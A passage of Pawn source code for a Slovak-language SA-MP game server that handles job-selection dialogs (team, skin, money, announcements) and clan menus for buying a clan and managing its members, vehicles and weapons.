                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(3);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,163); Player[playerid][Skin]=163; }
                    case 1: { SetPlayerSkin(playerid,164); Player[playerid][Skin]=164; }
                    case 2: { SetPlayerSkin(playerid,165); Player[playerid][Skin]=165; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team10)
        {
            if(response == 1)
            {
                Player[playerid][Team]=10;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,171);
                Player[playerid][Skin]=171;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team11)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=11;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                switch(random(3))
                {
                    case 0: { SetPlayerSkin(playerid,280); Player[playerid][Skin]=280; }
                    case 1: { SetPlayerSkin(playerid,281); Player[playerid][Skin]=281; }
                    case 2: { SetPlayerSkin(playerid,284); Player[playerid][Skin]=284; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team12)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/mission~w~ misia pre povolanie", 5500);
                Player[playerid][Team]=12;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,247);
                Player[playerid][Skin]=247;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team13)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/mission~w~ misia pre povolanie", 5500);
                Player[playerid][Team]=13;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(2);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,27); Player[playerid][Skin]=27; }
                    case 1: { SetPlayerSkin(playerid,260); Player[playerid][Skin]=260; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team14)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/heal [ID]~w~ uzdravenie hraca za 2500$", 5500);
                Player[playerid][Team]=14;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new RandomSkin = random(2);
                switch(RandomSkin)
                {
                    case 0: { SetPlayerSkin(playerid,274); Player[playerid][Skin]=274; }
                    case 1: { SetPlayerSkin(playerid,275); Player[playerid][Skin]=275; }
                }

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team15)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/repair [ID]~w~ opravenie hracovho vizidla za 3000$~n~~y~/fuel [ID]~w~ natankuje hracovi benzin za 5000$", 5500);
                Player[playerid][Team]=15;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,50);
                Player[playerid][Skin]=50;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team16)
        {
            if(response == 1)
            {
                Player[playerid][Team]=16;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,287);
                Player[playerid][Skin]=287;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team17)
        {
            if(response == 1)
            {
                Player[playerid][Team]=17;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,277);
                Player[playerid][Skin]=277;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team18)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/news [TEXT]~w~ novinka~n~~y~/sanews~w~ zive vysielanie v Online TV na notebooku.", 5500);
                Player[playerid][Team]=18;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,295);
                Player[playerid][Skin]=295;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team19)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=19;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,283);
                Player[playerid][Skin]=283;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team20)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=20;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(3))
                {
                    case 0: skinid=173;
                    case 1: skinid=174;
                    case 2: skinid=175;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team21)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/news [TEXT]~w~ novinka~n~~y~/sanews~w~ zive vysielanie v Online TV na notebooku.", 5500);
                Player[playerid][Team]=21;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,295);
                Player[playerid][Skin]=295;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team22)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=22;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(2))
                {
                    case 0: skinid=281;
                    case 1: skinid=284;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team23)
        {
            if(response == 1)
            {
                Player[playerid][Team]=23;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,279);
                Player[playerid][Skin]=279;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team24)
        {
            if(response == 1)
            {
                Player[playerid][Team]=24;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);
                SetPlayerSkin(playerid,287);
                Player[playerid][Skin]=287;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team25)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/j [ID]~w~ zatknutie hraca~n~~y~/s [ID]~w~ napomenutie hraca~n~~y~/p [ID]~w~ pokuta~n~~y~/c [ID]~w~ kontrola hraca~n~~y~/wanted~w~ vypis hladanych hracov", 5500);
                Player[playerid][Team]=25;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                SetPlayerSkin(playerid, 286);
                Player[playerid][Skin] = 286;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team26)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=26;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(2))
                {
                    case 0: skinid=111;
                    case 1: skinid=112;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team27)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/mission~w~ misia pre povolanie", 5500);
                Player[playerid][Team]=27;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                SetPlayerSkin(playerid, 260);
                Player[playerid][Skin] = 260;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_Team28)
        {
            if(response == 1)
            {
                FormatPlayerInfoBox(playerid, "~g~Prikazy", "~y~/kidnap [ID]~w~ unesenie hraca~n~~y~/blackmail [ID] [VYKUPNE]~w~ Ponuka na hracove vykupne (pri uneseni hrace)", 5500);
                Player[playerid][Team]=28;
                Player[playerid][IPIP]=false;
                new playerlastmoney = GetPlayerACMoney(playerid);
                OnPlayerSpawn(playerid);
                SetPlayerACMoney(playerid, playerlastmoney);

                new skinid;
                switch(random(3))
                {
                    case 0: skinid=121;
                    case 1: skinid=122;
                    case 2: skinid=123;
                }

                SetPlayerSkin(playerid, skinid);
                Player[playerid][Skin] = skinid;

                new Name[24], msg[128];
                GetPlayerName(playerid,Name,24);
                format(msg,128,"Hráč %s sa zamestnal ako %s !",Name,GetPlayerTeamString(playerid));
                SendClientMessageToAll(0x00B500FF,msg);
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }

        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////
        /////////////////////////////////////////////////////////////////////////////

        else if(dialogid == Dialog_ClanMenuF)
        {
            if(response == 1)
            {
                Player[playerid][IPIP] = false;

                new clanid = Player[playerid][ClanID];

                if(listitem == 0)
                {
                    SetPlayerPos(playerid, Clan[clanid][cpiX], Clan[clanid][cpiY], Clan[clanid][cpiZ]);
                    SetPlayerInterior(playerid, Clan[clanid][cIntID]);
                    SetPlayerVirtualWorld(playerid, Clan[clanid][cVWID]);
                }

                if(listitem == 1)
                {
                    if(Player[playerid][ClanP] != 9999) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemožeš mať viac než 2 clany alebo byť v clanu keď si clan kupuješ !");
                    else if(GetPlayerACMoney(playerid) < 1000000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na zakupenie clanu potrebuješ 1 000 000$ !");
                    else if(Player[playerid][Hours] < 80) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si si mohol kupiť clan potrebuješ mať odohraných aspoň 80 hodin !");
                    else if(Player[playerid][Respect] < 30) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Aby si si mohol kupiť clan potrebuješ mať minimálne 30 respektu !");
                    else
                    {
                        Player[playerid][ClanP] = clanid;
                        Player[playerid][ClanRank] = 0;
                        Player[playerid][Team] = 99;

                        GivePlayerACMoney(playerid, -1000000);

                        Clan[clanid][State] = 1;
                        Clan[clanid][Players] = 1;

                        new cway[64];
                        format(cway,64, "SL/Server/Clans/Clan%d.cfg", clanid);

                        dini_IntSet(cway, "State", 1);
                        dini_IntSet(cway, "Players", 1);

                        new Name[24];
                        GetPlayerName(playerid,Name,24);
                        dini_Set(cway, "Majitel", Name);

                        dini_IntSet(cway, "P0_Plat", 0);
                        dini_Set   (cway, "P0_Hodnost", "Majitel clanu");
                        dini_Set   (cway, "P0_Name", Name);

                        Delete3DTextLabel(Clan[clanid][cText3D]);

                        new c3Dstring[150];
                        format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway, "Name"), dini_Get(cway, "Majitel"), Clan[clanid][Bank]);

                        Clan[clanid][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[clanid][cpeX], Clan[clanid][cpeY], Clan[clanid][cpeZ], 50, 0);

                        SendClientMessage(playerid, COLOR_BLUE, "Kupil si si clan !");
                    }
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 2000, 0, "i", playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanMenuS)
        {
            if(response == 1)
            {
                new cway[64];
                format(cway,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                if(listitem == 0)
                {
                    Player[playerid][IPIP] = false;

                    SetPlayerPos(playerid, Clan[Player[playerid][ClanID]][cpiX], Clan[Player[playerid][ClanID]][cpiY], Clan[Player[playerid][ClanID]][cpiZ]);
                    SetPlayerInterior(playerid, Clan[Player[playerid][ClanID]][cIntID]);
                    SetPlayerVirtualWorld(playerid, Clan[Player[playerid][ClanID]][cVWID]);
                }

                if(listitem == 1)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanPlayers,DIALOG_STYLE_LIST,"Zoznam členov", "Online\nVšetci", "OK", "Cancel");
                }

                if(listitem == 2)
                {
                    new strText[256];
                    new veh[5][32];

                    for(new v=0; v<5; v++)
                    {
                        new V_id[16];
                        format(V_id,16, "V%d_id", v);

                        if(dini_Int(cway, V_id) == 0) veh[v]="{606060}- empty -";
                        else format(veh[v], 32, "{ffffff}%s", VehicleName[dini_Int(cway, V_id) - 400]);
                    }

                         if(Clan[Player[playerid][ClanID]][Vehicles] == 1) format(strText,256, "%s", veh[0]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 2) format(strText,256, "%s\n%s", veh[0], veh[1]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 3) format(strText,256, "%s\n%s\n%s", veh[0], veh[1], veh[2]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 4) format(strText,256, "%s\n%s\n%s\n%s", veh[0], veh[1], veh[2], veh[3]);
                    else if(Clan[Player[playerid][ClanID]][Vehicles] == 5) format(strText,256, "%s\n%s\n%s\n%s\n%s", veh[0], veh[1], veh[2], veh[3], veh[4]);

                    ShowPlayerDialog(playerid, Dialog_ClanVehicles, DIALOG_STYLE_LIST, "Vozidlá", strText, "OK", "Cancel");
                }

                if(listitem == 3)
                {
                    new t1[128];
                    format(t1, 128, "{ffff50}Aktuálny stav konta clanu: %d$\nZadaj sumu ktoru chceš vložiť na účet clanu:", Clan[Player[playerid][ClanID]][Bank]);

                    ShowPlayerDialog(playerid,Dialog_ClanSetMoney,DIALOG_STYLE_INPUT,"Vložiť peniaze na účet clanu", t1, "OK", "Cancel");
                }

                if(listitem == 4)
                {
                         if(Player[playerid][ClanID] != Player[playerid][ClanP]) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Nie si členom tohto clanu !", "OK", "");
                    else if(Player[playerid][ClanRank] != 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Nie si majitel tohto clanu !", "OK", "");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_Menu,DIALOG_STYLE_LIST,"Administracia Clanu","Správa členov\nPrizvať hráčov do clanu\nSpráva vozidel\nSpráva zbraní\nZmeniť meno clanu\nZmeniť farbu clanu\nVybrať peniaze z účtu\nUpgrady\nPredať clan (75% z ceny)","OK","Cancel");
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 2000, 0, "i", playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_Menu)
        {
            if(response == 1)
            {
                new cway15f6[64];
                format(cway15f6,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanID]);

                if(listitem == 0)
                {
                    new cway7f07[64];
                    format(cway7f07,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                    new pN5[12][24];
                    new cPlayersString8[256];

                    for(new p=0; p < Clan[Player[playerid][ClanP]][Players]; p++)
                    {
                        new P_Name[16];
                        format(P_Name,16, "P%d_Name", p);

                        format(pN5[p], 24, "%s", dini_Get(cway7f07, P_Name));
                    }

                         if(Clan[Player[playerid][ClanP]][Players] == 1)  format(cPlayersString8,256, "{ffff00}%s", pN5[0]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 2)  format(cPlayersString8,256, "{ffff00}%s\n%s", pN5[0],pN5[1]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 3)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s", pN5[0],pN5[1],pN5[2]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 4)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 5)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 6)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 7)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 8)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 9)  format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 10) format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8],pN5[9]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 11) format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8],pN5[9],pN5[10]);
                    else if(Clan[Player[playerid][ClanP]][Players] == 12) format(cPlayersString8,256, "{ffff00}%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s", pN5[0],pN5[1],pN5[2],pN5[3],pN5[4],pN5[5],pN5[6],pN5[7],pN5[8],pN5[9],pN5[10],pN5[11]);

                    ShowPlayerDialog(playerid,Dialog_ClanA_PlayersSettings,DIALOG_STYLE_LIST, "Správa hráčov", cPlayersString8, "Nastavenie", "Cancel");
                }

                if(listitem == 1)
                {
                         if(Clan[Player[playerid][ClanP]][Players] >= 12) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Clan má už maximálny počet členov !", "OK", "");
                    else if(Clan[Player[playerid][ClanP]][Players] >= Clan[Player[playerid][ClanP]][MaxPlayers]) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box", "{ff0000}Clan má už maximálny počet členov !\nPokiaľ chceš mať v clanu viac hráčov, musíš si zvýšit respekt !", "OK", "");
                    else ShowPlayerDialog(playerid,Dialog_ClanA_InvitePlayer,DIALOG_STYLE_INPUT,"Prizvať hráčov do clanu","{ffff50}Zadaj ID hráča:","Prizvať","Cancel");
                }

                if(listitem == 2)
                {
                    new strText1[256];
                    new veh1[5][32];

                    for(new v=0; v<5; v++)
                    {
                        new V_id[16];
                        format(V_id,16, "V%d_id", v);

                        if(dini_Int(cway, V_id) == 0) veh1[v]="{606060}- empty -";
                        else format(veh1[v], 32, "{ffffff}%s", VehicleName[dini_Int(cway15f6, V_id) - 400]);
                    }

                         if(Clan[Player[playerid][ClanP]][Vehicles] == 1) format(strText1,256, "%s", veh1[0]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 2) format(strText1,256, "%s\n%s", veh1[0], veh1[1]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 3) format(strText1,256, "%s\n%s\n%s", veh1[0], veh1[1], veh1[2]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 4) format(strText1,256, "%s\n%s\n%s\n%s", veh1[0], veh1[1], veh1[2], veh1[3]);
                    else if(Clan[Player[playerid][ClanP]][Vehicles] == 5) format(strText1,256, "%s\n%s\n%s\n%s\n%s", veh1[0], veh1[1], veh1[2], veh1[3], veh1[4]);

                    ShowPlayerDialog(playerid, Dialog_ClanA_Vehicles, DIALOG_STYLE_LIST, "Správa vozidiel", strText1, "OK", "Cancel");
                }

                if(listitem == 3)
                {
                     new w[8][32];
                     new a[8][16];

                     for(new x=0; x<8; x++)
                     {
                         new W_id[16];
                         format(W_id,16, "W%d_id", x);
                         new W_ammo[16];
                         format(W_ammo,16, "W%d_ammo", x);

                         if(dini_Int(cway, W_id) == 0)
                        {
                            format(w[x],32, "{090909}- empty -");
                            format(a[x],16, " ");
                        }
                         else
                        {
                            format(w[x],32, "{ffffff}%s", WeaponName(dini_Int(cway15f6, W_id)));
                            format(a[x],16, " (%dks)", dini_Int(cway15f6, W_ammo));
                        }
                     }

                          if(dini_Int(cway, "WeaponSlots") == 3) format(gBIGSTRING,sizeof(gBIGSTRING), "%s%s\n%s%s\n%s%s", w[0],a[0],w[1],a[1],w[2],a[2]);
